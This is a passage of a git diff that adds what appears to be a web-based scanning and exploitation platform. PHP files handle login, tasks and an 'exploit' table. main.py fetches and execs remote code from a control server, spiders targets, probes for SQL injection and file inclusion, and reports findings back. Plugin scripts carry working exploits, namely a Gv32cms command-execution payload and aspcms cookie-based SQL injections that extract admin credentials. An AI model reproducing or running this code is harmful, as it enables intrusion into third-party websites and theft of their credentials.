\");\r\n"; + } + }else{ + $rmsg .= "
\");\r\n"; + } + $msg = $htmlhead.$rmsg.$htmlfoot; + } + echo $msg; + exit(); +} + +/** + * 弹出JS对话框 $msg指弹出内容,$url是跳转页面,如果为0的情况则返回上一级目录 +*/ +function Alert($msg,$url="0") +{ + if ($url =="0") { + $url = "history.go(-1)"; + } + else{ + $url = "window.location.href = '$url'"; + } + echo ""; + exit(); +} + +/**获取IP地址*/ +function ld_ipaddress() +{ + if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) + $ip = getenv("HTTP_CLIENT_IP"); + else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) + $ip = getenv("HTTP_X_FORWARDED_FOR"); + else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) + $ip = getenv("REMOTE_ADDR"); + else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) + $ip = $_SERVER['REMOTE_ADDR']; + else + $ip = "unknown"; + return($ip); +} + +/** + * 数字分页 + * */ +function Page($num = '',$url = '',$pagesize = 20,$ishtml=0) +{ + global $page,$pagesql,$pagenav,$includeurl,$cfg; //定义三个全局变量,$page是页码,$pagesql是SQL语句里面的imit,$pagenav是分页的连接 + $lastpage = ceil(($num/$pagesize)); //末页 + if($page >= $lastpage) $page = $lastpage;//如果页码大于等于总共页数,那么页码就等于总共页数 + if($page =="" or $page<=0) $page =1; //如果page为空又或者page小于等于0时则page等于1 + $prepg=$page-1; //上一页 + $nextpg=$page+1; //下一页 + $pagesql = ($page-1)*$pagesize; //计算SQL语句 + $GLOBALS["pagesize"]=$pagesize; //为使函数外部可以访问这里的“$displaypg”,将它也设为全局变量。注意一个变量重新定义为全局变量后,原值被覆盖,所以这里给它重新赋值。 + $pagenum = 10; //每个显示多少条 + if($ishtml==0) + { + $pagenavurl = "{$url}page=1"; + $pageurl1 = "{$url}page=$prepg"; + $nextpageurl = "{$url}page=$nextpg"; + $lastpageurl = "{$url}page=$lastpage"; + }else + { + $pagenavurl = "{$url}-1.html"; + $pageurl1 = "{$url}-$prepg.html"; + $nextpageurl = "{$url}-$nextpg.html"; + $lastpageurl = "{$url}-$lastpage.html"; + } + $pagenav = "
    "; + if ($page > 1) + { + $pagenav .= "
  • 首页
  • "; + $pagenav .= "
  • 上一页
  • "; + } + $dqpage = floor($page / $pagenum); //当前多少页,除以10 + $beginpage = $dqpage * $pagenum; + $endpage = ($dqpage + 1) * $pagenum; //结束的页号 + for ($i=$beginpage;$i<=$endpage;$i++) + { + if($i==0) continue; + $ss = $i == $page ? " class='selected'" : ""; + $iurl = $ishtml==0 ? "{$url}page=$i" : "{$url}-$i.html"; + $pagenav .= "
  • {$i}
  • "; + if($i >= $lastpage) break; + } + if($page < $lastpage) + { + //$pagenav .= "
  • ...
  • "; + //$pagenav .= "
  • {$lastpage}
  • "; + $pagenav .= "
  • 下一页
  • "; + } + $pagenav .= "
"; +} +/** + * 获取某个表中的某个最大的值 + */ +function ld_gettablemax($table,$field="ord") +{ + global $db; + $i = $db->listtablezd($table,"max({$field})"); + return $i+1; +} + +/** + * 选择时间格式 + * + * 1返回Y-m-d H:i:s + * 2返回Y-m-d + */ +function ld_select_date($date,$type=1) +{ + if(!empty($date)) + { + if($type==1) + return date('Y-m-d H:i:s',$date); + else if($type==2) + return date('Y-m-d',$date); + else if($type==3) + return date('Y-m',$date); + else if($type==4) + return date('Y年m月d日',$date); + else if($type==5) + return date('m-d',$date); + } + else { + return ""; + } + +} + +/** + * 清除所有HTML + */ +function ld_clearhtml($str,$len) { + $str=eregi_replace("<\/*[^<>]*>", '', $str); + $str=str_replace(" ", '', $str); + $str=str_replace("::", ':', $str); + $str=str_replace(" ", '', $str); + $str=str_replace("#p#", '', $str); + $str=str_replace(" ", '', $str); + $str=str_replace(" ", '', $str); + $str=str_replace(" ", '', $str); + $str=str_replace("“", '"', $str); + $str=str_replace("”", '"', $str); + $str=str_replace("—", '-', $str); + $str = ereg_replace("\t","",$str); + $str = ereg_replace("\r\n","",$str); + $str = ereg_replace("\r","",$str); + $str = ereg_replace("\n","",$str); + $str = ereg_replace(" "," ",$str); + $str = ereg_replace("…","",$str); + $str = GBsubstr($str,0,$len); + return $str; +} + +/* +*P中文字串截取无乱码 +*/ + +function GBsubstr($str, $start, $len) { // $str指字符串,$start指字符串的起始位置,$len指字符串长度 + $strlen = $start + $len; // 用$strlen存储字符串的总长度,即从字符串的起始位置到字符串的总长度 + for($i = $start; $i < $strlen;) { + if (ord ( substr ( $str, $i, 1 ) ) > 0xa0) { // 如果字符串中首个字节的ASCII序数值大于0xa0,则表示汉字 + $tmpstr .= substr ( $str, $i, 3 ); // 每次取出三位字符赋给变量$tmpstr,即等于一个汉字 + $i=$i+3; // 变量自加3 + } else{ + $tmpstr .= substr ( $str, $i, 1 ); // 如果不是汉字,则每次取出一位字符赋给变量$tmpstr + $i++; + } + } + return $tmpstr; // 返回字符串 +} + + + +/** + *获取表单复选框 + */ +function ld_Getbox($str,$split=",") +{ + for ($i=0;$_POST[$str][$i]!="";$i++)//通过for循环取值 + { + $checkbox .= $_POST[$str][$i].$split; + } + return $checkbox; +} +function ld_listip($ip) +{ + //IP数据文件路径 + $ipaddress = $ip; + $dat_path = dirname(__FILE__).'/QQWry.Dat'; //检查IP地址 + if(!preg_match("/^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$/", $ip)){ + return 'IP 地址错误!'; + } + //打开IP数据文件 + if(!$fd = @fopen($dat_path, 'rb')){ + return 'IP数据文件无法读取,请确保是正确的纯真IP库!'; + } //分解IP进行运算,得出整形数 + $ip = explode('.', $ip); + $ipNum = $ip[0] * 16777216 + $ip[1] * 65536 + $ip[2] * 256 + $ip[3]; //获取IP数据索引开始和结束位置 + $DataBegin = fread($fd, 4); + $DataEnd = fread($fd, 4); + $ipbegin = implode('', unpack('L', $DataBegin)); //unpack() 函数从二进制字符串对数据进行解包。unpack(format,data) L - unsigned long (always 32 bit, machine byte order) + #$ipbegin 值如:5386001 + if($ipbegin < 0) $ipbegin += pow(2, 32); + $ipend = implode('', unpack('L', $DataEnd)); + if($ipend < 0) $ipend += pow(2, 32); + $ipAllNum = ($ipend - $ipbegin) / 7 + 1; + + $BeginNum = 0; + $EndNum = $ipAllNum; //使用二分查找法从索引记录中搜索匹配的IP记录 + $ip1num=''; $ip2num=''; $ipAddr1=''; $ipAddr2=''; + while($ip1num>$ipNum || $ip2num<$ipNum) { + $Middle= intval(($EndNum + $BeginNum) / 2); //偏移指针到索引位置读取4个字节 + fseek($fd, $ipbegin + 7 * $Middle); + $ipData1 = fread($fd, 4); + if(strlen($ipData1) < 4) { + fclose($fd); + return 'System Error'; + } + //提取出来的数据转换成长整形,如果数据是负数则加上2的32次幂 + $ip1num = implode('', unpack('L', $ipData1)); + if($ip1num < 0) $ip1num += pow(2, 32); + + //提取的长整型数大于我们IP地址则修改结束位置进行下一次循环 + if($ip1num > $ipNum) { + $EndNum = $Middle; + continue; + } + + //取完上一个索引后取下一个索引 + $DataSeek = fread($fd, 3); + if(strlen($DataSeek) < 3) { + fclose($fd); + return 'System Error'; + } + $DataSeek = implode('', unpack('L', $DataSeek.chr(0))); + fseek($fd, $DataSeek); + $ipData2 = fread($fd, 4); + if(strlen($ipData2) < 4) { + fclose($fd); + return 'System Error'; + } + $ip2num = implode('', unpack('L', $ipData2)); + if($ip2num < 0) $ip2num += pow(2, 32); //没找到提示未知 + if($ip2num < $ipNum) { + if($Middle == $BeginNum) { + fclose($fd); + return 'Unknown'; + } + $BeginNum = $Middle; + } + } //下面的代码读晕了,没读明白,有兴趣的慢慢读 + $ipFlag = fread($fd, 1); + if($ipFlag == chr(1)) { + $ipSeek = fread($fd, 3); + if(strlen($ipSeek) < 3) { + fclose($fd); + return 'System Error'; + } + $ipSeek = implode('', unpack('L', $ipSeek.chr(0))); + fseek($fd, $ipSeek); + $ipFlag = fread($fd, 1); + } if($ipFlag == chr(2)) { + $AddrSeek = fread($fd, 3); + if(strlen($AddrSeek) < 3) { + fclose($fd); + return 'System Error'; + } + $ipFlag = fread($fd, 1); + if($ipFlag == chr(2)) { + $AddrSeek2 = fread($fd, 3); + if(strlen($AddrSeek2) < 3) { + fclose($fd); + return 'System Error'; + } + $AddrSeek2 = implode('', unpack('L', $AddrSeek2.chr(0))); + fseek($fd, $AddrSeek2); + } else { + fseek($fd, -1, SEEK_CUR); + } while(($char = fread($fd, 1)) != chr(0)) + $ipAddr2 .= $char; $AddrSeek = implode('', unpack('L', $AddrSeek.chr(0))); + fseek($fd, $AddrSeek); while(($char = fread($fd, 1)) != chr(0)) + $ipAddr1 .= $char; + } else { + fseek($fd, -1, SEEK_CUR); + while(($char = fread($fd, 1)) != chr(0)) + $ipAddr1 .= $char; $ipFlag = fread($fd, 1); + if($ipFlag == chr(2)) { + $AddrSeek2 = fread($fd, 3); + if(strlen($AddrSeek2) < 3) { + fclose($fd); + return 'System Error'; + } + $AddrSeek2 = implode('', unpack('L', $AddrSeek2.chr(0))); + fseek($fd, $AddrSeek2); + } else { + fseek($fd, -1, SEEK_CUR); + } + while(($char = fread($fd, 1)) != chr(0)){ + $ipAddr2 .= $char; + } + } + fclose($fd); //最后做相应的替换操作后返回结果 + if(preg_match('/http/i', $ipAddr2)) { + $ipAddr2 = ''; + } + $ipaddr = "$ipAddr1 $ipAddr2"; + $ipaddr = preg_replace('/CZ88.Net/is', '', $ipaddr); + $ipaddr = preg_replace('/^s*/is', '', $ipaddr); + $ipaddr = preg_replace('/s*$/is', '', $ipaddr); + //var_dump($ipaddr); + if(preg_match('/http/i', $ipaddr) || $ipaddr == '') { + $ipaddr = 'Unknown'; + } + return $ipaddress." ".iconv("GB2312","UTF-8",$ipaddr); +} + +/** + * 获取Select表单 + */ +function ld_GetSelect($sql,$select="",$split) +{ + global $db; + $query = $db->query($sql); + while ($rs = $db->fetch_array($query)) + { + $ss = $select==$rs[0] ? "selected" : ""; + $str .= ""; + } + return $str; +} +/** + * 获取Select表单,数组 + */ +function ld_GetSelectArr($arr,$select="",$stype=0) +{ + global $db; + foreach ($arr as $k=>$v) + { + $temp = $stype==0 ? $v : $k; + $ss = "{$select}"=="{$temp}" ? "selected" : ""; + $str .= ""; + } + return $str; +} +function ld_GetLang() +{ + $Lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); + if (preg_match('/zh-c/i',$Lang)) + { + $Lang = '简体中文'; + } + elseif (preg_match('/zh/i',$Lang)) + { + $Lang = '繁體中文'; + } + else{ + $Lang = 'English'; + } + return $Lang; +} +function ld_GetBrowser() +{ + $Browser = $_SERVER['HTTP_USER_AGENT']; + if (preg_match('/MSIE/i',$Browser)) + { + $Browser = 'MSIE'; + } + elseif (preg_match('/Firefox/i',$Browser)) + { + $Browser = 'Firefox'; + } + elseif (preg_match('/Chrome/i',$Browser)) + { + $Browser = 'Chrome'; + } + elseif (preg_match('/Safari/i',$Browser)) + { + $Browser = 'Safari'; + } + elseif (preg_match('/Opera/i',$Browser)) + { + $Browser = 'Opera'; + } + else + { + $Browser = 'Other'; + } + return $Browser; +} +/** + * 判断ID + */ +function ld_CheckID($id,$tablename,$msg="非法提交") +{ + global $db,$path; + if(empty($id)) + { + Alert($msg); + } + if(!is_numeric($id)) + { + Alert($msg); + } + ld_CheckInput($id); + if(!$db->checknumsql("select * from $tablename")) + { + Alert($msg); + } + return $id; + unset($db); +} +function ld_CheckInput($str) +{ + // 如果不是数字则加引号 + $arr = array("\\",">","<","script","select","join","or","=","union","where","insert","delete","update","like","drop","create","modify","alert","cast","show tables"); + foreach ($arr as $k) + { + if(stristr("$str","$k")) Alert("非法提交"); + } + return $str; +} +/**正则判断手机**/ +function ld_is_mobile($str){ + return preg_match("/(^[1][3][0-9]{9}$)|(^[1][5][0-9]{9}$)|(^[1][8][0-9]{9}$)|(^[0][1-9]{1}[0-9]{9}$)/", $str); +} +/**正则判断邮箱地址**/ +function ld_is_email($str){ + return preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/", $str); +} +/**正则判断正整数**/ +function ld_is_zzs($str){ + return preg_match("/^[0-9]*[1-9][0-9]*$/", $str); +} +/**正则判断整数**/ +function ld_is_zs($str){ + return preg_match("/-?\\d+$/", $str); +} +/**正则判断网址**/ +function ld_is_url($str){ + return preg_match("/^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"])*$/", $str); +} + +function curl_get($url, $gzip=false){ + $curl = curl_init($url); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); + if($gzip) curl_setopt($curl, CURLOPT_ENCODING, "gzip"); // 关键在这里 + $content = curl_exec($curl); + curl_close($curl); + return $content; +} +?> \ No newline at end of file diff --git a/include/config.inc.php b/include/config.inc.php new file mode 100644 index 0000000..326e546 --- /dev/null +++ b/include/config.inc.php @@ -0,0 +1,24 @@ +db_host = $db_host; + $this->db_user = $db_user; + $this->db_pass = $db_pass; + $this->db_database = $db_databbse; + $this->conn = $conn; + $this->db_charset = $db_charset; + $this->connect(); + $this->db_pre = $db_pre; + } + + //数据库连接 + private function connect() + { + $this->conn = mysql_connect($this->db_host,$this->db_user,$this->db_pass) or die("数据库连接错误"); + MySQL_query("SET NAMES 'UTF8'"); + mysql_select_db($this->db_database,$this->conn) or die("没有找到".$this->db_database."这个数据库"); + + } + + //数据库执行语句,可执行查询添加修改删除等任何SQL语句 + function query($sql) + { + $sql = str_replace("##_",$this->db_pre,$sql); + $result = mysql_query($sql,$this->conn); + if (!$result) { + //调用中使用SQL语句出错时,会自动打印出来 + //echo "SQL语句错误:$sql
"; + $k=fopen(LDINC."/data/mysqllog.txt","a+"); + fwrite($k,date("Y-m-d H:i:s")."执行{$sql}出错,来源于".$_SERVER['REQUEST_URI']."\r\n"); + fclose($k); + // echo "SQL语句错误
"; + } + return $result; + } + + function fetch_array($result = null) + { + $result = $result == null ? $this->result : $result; + return mysql_fetch_array($result); + } + + function fetch_row($result = null) + { + $result = $result == null ? $this->result : $result; + return mysql_fetch_row($result);//mysql_fetch_array($result); + } + /** + *根据select查询结果计算结果集条数 + */ + function db_num_rows($sql) + { + $result=$this->query($sql); + if(empty($result)) $result=0; + return mysql_num_rows($result); + } + + //查询一个表下所有的字段 + function findall($table) + { + $result = $this->query("select * from $table"); + return $result; + } + + //添加数据到数据库 + function insert_into($table,$array_value) + { + foreach ($array_value as $key=>$value) + { + $filed .= "`$key`,"; + $val .= "'$value',"; + } + $filed = substr($filed,0,(strlen($filed)-1)); //替换最后一个逗号 + $val= substr($val,0,(strlen($val)-1)); //替换最后一个逗号 + $sql="INSERT INTO ".$table." ($filed) VALUES ($val)";//拼成SQL语句 + $this->query($sql); + return mysql_insert_id(); + } + + /** + *函数从结果集中取得一行作为关联数组。返回根据从结果集取得的行生成的关联数组,如果没有更多行,则返回 false。 + */ + function fetch_assoc($sql) + { + $res = $this->query ( $sql ); + if ($res !== false) { + return mysql_fetch_assoc ( $res ); + } else { + return false; + } + } + + function fetch_assoc1($sql) + { + $res = $this->query ( $sql ); + if ($res !== false) { + return mysql_fetch_assoc ( $res ); + } else { + return false; + } + } + + + /** + *更新数据库,$table代表着更新的表,$array_value更新的数组,$where条件 + */ + function update($table,$array_value,$where) + { + foreach ($array_value as $key=>$value) + { + $upvalue .= "`$key`='$value',"; + } + $upvalue = substr($upvalue,0,(strlen($upvalue)-1)); //替换最后一个逗号 + $sql="update $table set $upvalue where $where"; //拼成SQL语句 + return $this->query($sql); + } + //获得错误描述 + function GetError() + { + $str = mysql_error(); + return $str; + } + function free_result($query) { + return @mysql_free_result($query); + } + function escape_string($str){ + return mysql_escape_string($str); + } + //获取字段数 + function num_fields($query) { + return mysql_num_fields($query); + } + //获取数据库版本 + function version() { + return mysql_get_server_info($this->conn); + } + //删除数据库 + function delete($where) + { + $sql = "DELETE from $where"; + return $this->query($sql); + } + //判断此条数据库语句是否存在记录 + function checknumsql($sql) + { + if($this->db_num_rows($sql) > 0) + return true; + else + return false; + } + //查询一个表返回的值 + function listtablezd($table,$zd) + { + //echo "select $zd from $table
"; + $arr = $this->fetch_array($this->query("select $zd from $table")); + $str = $arr[$zd]; + return $str; + } + + //获取受影响的行数 + function Getaffected($sql) + { + $this->query($sql); + $rc = mysql_affected_rows(); + return $rc; + } + /** + * 获取设置表某个字段 + */ + function GetConfig($field) + { + return $this->listtablezd("##_config where id=1",$field); + } +} + + +?> \ No newline at end of file diff --git a/include/user.class.php b/include/user.class.php new file mode 100644 index 0000000..ccaa3d7 --- /dev/null +++ b/include/user.class.php @@ -0,0 +1,29 @@ +fetch_assoc("select UserID,UserName,UserLevel,EndTime from ##_user where UserName = '{$_SESSION["user"]}'"); + if(!is_array($zs)) Message("您没有登陆或者登陆超时","login.php"); + $this->uid = $zs["UserID"]; + $this->UserLevel = $zs["UserLevel"]; + $this->EndTime = $zs["EndTime"]; + } + //写入日志表 + function AddLog($Message,$CateGory=2,$uid="") + { + global $db; + $arr["CateGory"] = $CateGory; + $arr["Message"] = $Message; + $arr["Addtime"] = time(); + $arr["UserID"] = empty($uid) ? $this->uid : $uid; + $arr["UserIP"] = ld_ipaddress(); + //$db->insert_into("##_log",$arr); + } +} +?> \ No newline at end of file diff --git a/index.php b/index.php new file mode 100644 index 0000000..f32a470 --- /dev/null +++ b/index.php @@ -0,0 +1,48 @@ +要安装python 2.7.3 然后执行命令:python -c "exec(__import__(\'urllib\').urlopen(\'http://'.$_SERVER["HTTP_HOST"].'/py.php?'.$_SESSION["user"].'\').read())"
'; + }else{ + $info=''; + } + $query = $db->query("select * from ##_exploit where viwe = 1"); + while ($fs = $db->fetch_array($query)) + { + $exp_name = $fs["title"]; + $exp_dir = $fs["dir"]; + if ($fs["checked"]=="1"){ + $checked="checked=\"checked\""; + }else{ + $checked=""; + } + $loopstr .= " + "; + } + break; + case "scan": + $user = new user(); + foreach ($_POST as $v=>$k){ + $arr["url"] = $url; + $arr["status"] = 1; + $arr["user"] = $_SESSION["user"]; + $arr["report_id"] = $taskid; + $fs = $db->query("select title from ##_exploit where dir='$v'"); + if (mysql_num_rows($fs) == 0){ + continue; + }else{ + $arr["task"] = $v; + $db->insert_into("##_task_list",$arr); + setcookie("scan_url",$url, time()+3600*24); + unset($arr); + } + } + Message("添加任务成功!","index.php"); + break; +} +include('html/index.html'); + +?> \ No newline at end of file diff --git a/login.php b/login.php new file mode 100644 index 0000000..24fc8eb --- /dev/null +++ b/login.php @@ -0,0 +1,27 @@ +fetch_assoc("select UserID,IsLock,UserPwd from ##_user where UserName = '{$username}'"); + if (is_array($fs)) + { + $pwd = substr(md5($_POST["pwd"]),4,24); + if($pwd != $fs["UserPwd"]) + { + $db->query("update ##_user set LoginErrorNum = LoginErrorNum + 1 where UserID = {$fs["UserID"]}"); + user::AddLog("登陆失败",0,$fs["UserID"]); + Message("您输入用户名或密码不正确,请重新输入"); + } + if($fs["IsLock"]==1) Message("您的账号已被锁定"); + $db->query("update `##_user` SET `LastLoginTime` = '".time()."',`LastLoginIP`='".ld_ipaddress()."',`LoginTimes` = LoginTimes+1,LoginErrorNum=0 where UserID = {$fs["UserID"]}"); + $_SESSION["user"]=$username; + $user = new user(); + $user->AddLog("登陆成功",1); + Message("登陆成功","index.php"); + } + else Message("您输入用户名或密码不正确,请重新输入"); +} +include('html/login.htm'); \ No newline at end of file diff --git a/main.py b/main.py new file mode 100644 index 0000000..7f10176 --- /dev/null +++ b/main.py @@ -0,0 +1,295 @@ +# coding=utf-8 +from socket import * +from subprocess import Popen, PIPE +from platform import system +from ftplib import FTP +import threading,time,Queue +import re,sys,hashlib,marshal,zlib +import urllib,urllib2,cookielib,httplib,HTMLParser + +class fuck: + def what_system(self): + return system() + def pinger(self,ip): + if system()=='Linux': + p=Popen(['ping','-c 2',ip],stdout=PIPE) + m = re.search('ttl', p.stdout.read()) + if m: + return ip + if system()=='Windows': + p=Popen('ping %s -n 2'%ip,stdout=PIPE) + m = re.search('TTL', p.stdout.read()) + if m: + return ip + def localip(self): + if system()=='Linux': + p=Popen(['ifconfig'],stdout=PIPE) + m = self.find('addr:(\d+\.\d+\.\d+\.\d+)', p.stdout.read()) + if m: + return m[0] + if system()=='Windows': + p=Popen('arp -a',stdout=PIPE) + m = self.find(': (\d+\.\d+\.\d+\.\d+)', p.stdout.read()) + if m: + return m[0] + def report(self,type,info): + info_str=urllib.quote(info) + url='%s?id=%s&type=%s&info=%s'%(report_url,report_id,type,info_str) + try: + return urllib.urlopen(url) + except: + return False + def find(self,r,t): + try: + return re.findall(r,t) + except: + return False + def urlget(self,url): + try: + return urllib.urlopen(url) + except: + return False + def urlpost(self,url,value): + data = urllib.urlencode(value) + headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' } + res = urllib2.Request(url,data,headers) + try: + ok = urllib2.urlopen(res) + return ok + except: + return False + def custom_post(self,url,value,header): + data = value + headers = header + res = urllib2.Request(url,data,headers) + try: + ok = urllib2.urlopen(res) + return ok + except: + return False + def checkport(self,host,port): + try: + s=socket(AF_INET,SOCK_STREAM) + s.settimeout(5) + s.connect((host,int(port))) + s.close() + return True + except: + return False + def ftpscan(self,host,info): + i=info.split('|') + user=i[0] + passwd=i[1] + try: + ftp = FTP(host) + ftp.login(user,passwd) + ftp.quit() + return 1 + except: + return 0 + def urltoip(self,url): + try: + #result = getaddrinfo(url, None) + return gethostbyname(url)#result[0][4][0] + except: + return False + def webscan(self,url,path): + try: + connection = httplib.HTTPConnection(url) + connection.request("GET",path) + response = connection.getresponse() + return response.status + except: + return False + def get_md5(self,html): + m=hashlib.md5() + m.update(html) + md5=m.hexdigest() + return md5 + def get_head(self,url): + if url.find('/')>-1: + head_url=url.split('/')[0] + else: + head_url=url + try: + conn = httplib.HTTPConnection(head_url) + conn.request("GET", "/") + r=conn.getresponse() + return r + except: + return False + def thread(self,func,args,thr): + '''[1] the func to run,[2] the func's args,[3] the thread nums''' + q = Queue.Queue() + t = [] + def start(q): + while not q.empty(): + func(q.get()) + for a in args: + q.put(a) + for i in range(int(thr)): + tt = threading.Thread(target=start,args=(q,)) + t.append(tt) + for i in range(int(thr)): + t[i].start() + for i in range(int(thr)): + #t[i].join(timeout=10) + t[i].join() + +class MyParser(HTMLParser.HTMLParser): + def __init__(self): + HTMLParser.HTMLParser.__init__(self) + self.urls = [] + def handle_starttag(self, tag, attrs): + if tag == 'a': + for name,value in attrs: + if name == 'href': + self.urls.append(value) + def geturls(self): + return self.urls + def urls_0(self): + self.urls = [] + def spider(self,url): + try: + urls=[] + self.feed(urllib.urlopen(url).read()) + urls += self.geturls() + self.urls_0() + return urls + except: + return False + def repair_1(self,url): + urls_tmp=[] + urls_tmp_0 = [] + for i in url: + if i.find('?')>-1 or i.find('http://')<0 and i.find('mailto:')<0: + urls_tmp.append(i) + for ii in urls_tmp: + if ii not in urls_tmp_3: + urls_tmp_0.append(ii) + urls_tmp_3.append(ii) + return urls_tmp_0 + def repair_2(self,url): + for i in url: + if i.find('?')>0 and i not in urls_tmp_1 or i.find('&')>0: + urls_tmp_1.append(i)#'?' + for ii in urls_tmp_1: + if ii.split('?')[0] not in urls_tmp_2: + urls_tmp_2.append(ii.split('?')[0]) + urls_tmp_ok.append(ii) + def do_it(self,url): + try: + uuu_tmp=self.spider(url)#2 + self.repair_2(self.repair_1(uuu_tmp)) + print "urls_tmp_1:%s"%len(urls_tmp_1) + uuu_tmp=[] + except: + pass + def my_spider(self,url): + uu_tmp_ok=[] + urls = self.spider(("http://%s"%url)) + tmp_list=self.repair_1(urls)#1 + for u in tmp_list: + u_tmp="http://%s/%s"%(url,u) + #self.do_it(u_tmp) + uu_tmp_ok.append(u_tmp) + fuck.thread(self.do_it,uu_tmp_ok,10) + print "#1 ok!" + time.sleep(10) + uu_tmp_ok=[] + for x in urls_tmp_1: + x_tmp="http://%s/%s"%(url,x) + self.do_it(x_tmp) + #uu_tmp_ok.append(x_tmp) + #fuck.thread(self.do_it,uu_tmp_ok,10) + print "#2 ok!" +class inject: + def sql1(self,url): + try: + time1=fuck.get_md5(fuck.urlget(url).read()) + time.sleep(1) + time2=fuck.get_md5(fuck.urlget(url).read()) + if time1==time2: + return 1 + else: + return 0 + except: + return 0 + def sql2(self,url): + try: + poc=[' aNd 1=1|| aNd 1=2','\' aNd \'1\'=\'1||\' aNd \'1\'=\'2'] + for i in poc: + poc1=i.split('||')[0] + poc2=i.split('||')[1] + htm1=fuck.get_md5(fuck.urlget(url+poc1).read()) + time.sleep(1) + htm2=fuck.get_md5(fuck.urlget(url+poc2).read()) + if htm1==htm2: + return 1 + break + else: + return 0 + except: + return 0 + def lfi(self,url): + try: + poc='data:;base64,TlM3NzU0NTYxNDQ2NTc1' + lfi_url_1=url.split('=')[0] + poc_url=lfi_url_1+'='+poc + htm1 = fuck.urlget(poc_url).read() + ok = fuck.find('NS7754561446575',htm1) + if len(ok)>0: + fuck.report('lfi','%s Local File Inclusion'%poc_url) + print '%s Local File Inclusion'%poc_url + except: + return 0 + def test_it(self,url): + if self.sql1(inject_url)==1: + if self.sql2(inject_url)==0: + fuck.report('spider','%s Sql_inject'%inject_url) + print '%s Sql_inject'%inject_url + self.lfi(inject_url) +def url_spider(url): + global urls_tmp_1 + global urls_tmp_2 + global urls_tmp_3 + global urls_tmp_ok + urls_tmp_1 = [] + urls_tmp_2 = [] + urls_tmp_3 = [] + urls_tmp_ok = [] + my.my_spider(test_url) + urls_tmp_1=[] + return urls_tmp_ok +def exploit_it(cms): + global exp_ver + print "Try Exploit %s Now"%cms + find_exp=fuck.urlget('http://'+_B+'/Get_exp.php?exp='+cms).read().decode('utf-8-sig') + print "find_exp:%s"%find_exp + if len(find_exp)>7: + exp_tmp=find_exp.split("|exp|") + for exp in exp_tmp: + if len(exp)>0: + exp_ver=exp + exp_code=fuck.urlget('http://'+_B+'/Get_exp.php?x='+exp).read() + exec(exp_code) +global report_url +global report_id +global test_url +try: + fuck=fuck() + my=MyParser() + inject_test=inject() + html=fuck.urlget('http://'+_B+'/Get.php?u='+_U).read() + if len(html)>7: + exec_code=html.split(':|:')[0] + test_url=html.split(':|:')[1] + report_id=html.split(':|:')[2] + report_url='http://'+_B+'/scan.php' + if test_url.find(':')<0: + test_ip=fuck.urltoip(test_url) + else: + test_ip=fuck.urltoip(test_url.split(':')[0]) + exec(exec_code) +except Exception,e: + print e \ No newline at end of file diff --git a/plus/Gv32cms_CommandExec.py b/plus/Gv32cms_CommandExec.py new file mode 100644 index 0000000..5d09ff0 --- /dev/null +++ b/plus/Gv32cms_CommandExec.py @@ -0,0 +1,14 @@ +# -*- coding: utf-8 -*- +def exploit(url): + poc = "http://%s/bbs/index.php?load=forum&act=${${phpinfo()}}"%url + try: + ok=fuck.urlget(poc) + if ok.getcode() == 200: + str=ok.read() + tmp=fuck.find("SCRIPT_FILENAME\"](.*)0: + fuck.report('Gv32cms_CommandExec',"%s"%poc) + print "TARGET Gv32cms_CommandExec VULNERABLE !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/aspcms1.5_SQLInject.py b/plus/aspcms1.5_SQLInject.py new file mode 100644 index 0000000..aa98218 --- /dev/null +++ b/plus/aspcms1.5_SQLInject.py @@ -0,0 +1,15 @@ +# -*- coding: utf-8 -*- +def exploit(url): + url = "http://%s/plug/productbuy.asp?id=338"%url + poc = { 'Cookie' : 'loginstatus=1;userID=1+union+select+1,2,3,%28UserName%29%2B%22%3D%22%2B%28AdminPassWord%29,5,6,AdminPassWord,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+[Aspcms_Admins]+where+adminid%3d1'} + try: + res= fuck.custom_post(url,'',poc) + ok = fuck.find("value=\"(\w+=\w{16})\"",res.read())[0] + if len(ok)>0: + print "[*] Exploit Successful !\n[*] %s"%ok + fuck.report(exp_ver,url+"
"+ok) + else: + print "[*] Exploit fail !" + except Exception,e: + print e +exploit(test_url) \ No newline at end of file diff --git a/plus/aspcms2.0_SQLInject.py b/plus/aspcms2.0_SQLInject.py new file mode 100644 index 0000000..3c6d911 --- /dev/null +++ b/plus/aspcms2.0_SQLInject.py @@ -0,0 +1,15 @@ +# -*- coding: utf-8 -*- +def exploit(url): + url = "http://%s/productbuy/?1_2.html"%url + poc = { 'Cookie' : 'loginstatus=1;userID=999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,%28LoginName%29%2B%22%3D%22%2B%28Password%29,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+Aspcms_user+where+userid%3D1'} + try: + res= fuck.custom_post(url,'',poc) + ok = fuck.find("value=\"(\w+=\w{16})\"",res.read())[0] + if len(ok)>0: + print "[*] Exploit Successful !\n[*] %s"%ok + fuck.report(exp_ver,url+"
